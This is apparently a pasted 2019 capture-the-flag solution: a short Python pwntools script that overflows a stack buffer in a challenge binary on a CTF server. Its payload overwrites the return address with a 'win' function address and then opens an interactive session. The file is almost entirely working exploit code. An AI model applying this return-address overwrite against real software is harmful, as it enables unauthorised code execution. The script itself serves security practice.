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Dec 14th, 2019
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  1. #! /usr/bin/env python2.7
  2.  
  3. from pwn import *
  4.  
  5. binary = "./chall"
  6.  
  7. e = ELF(binary)
  8. context.update(arch='amd64', os='linux')
  9. context.log_level='debug'
  10.  
  11. #Address
  12. WIN = 0x0000000000401156
  13.  
  14.  
  15. if __name__ == "__main__":
  16. conn = connect("challs.xmas.htsp.ro", 12006)
  17. #conn = process(binary)
  18.  
  19. conn.recvuntil("Helloooooo, do you like to build snowmen?\n")
  20. pause()
  21. #gdb.attach(conn, gdbscript=gdbscript)
  22. #gdb.attach(conn)
  23.  
  24. pattern0 = cyclic(15)
  25. payload = "yes" + "A"*15 + p64(WIN) + "D" * 68
  26.  
  27. conn.sendline(payload)
  28.  
  29.  
  30. conn.interactive()
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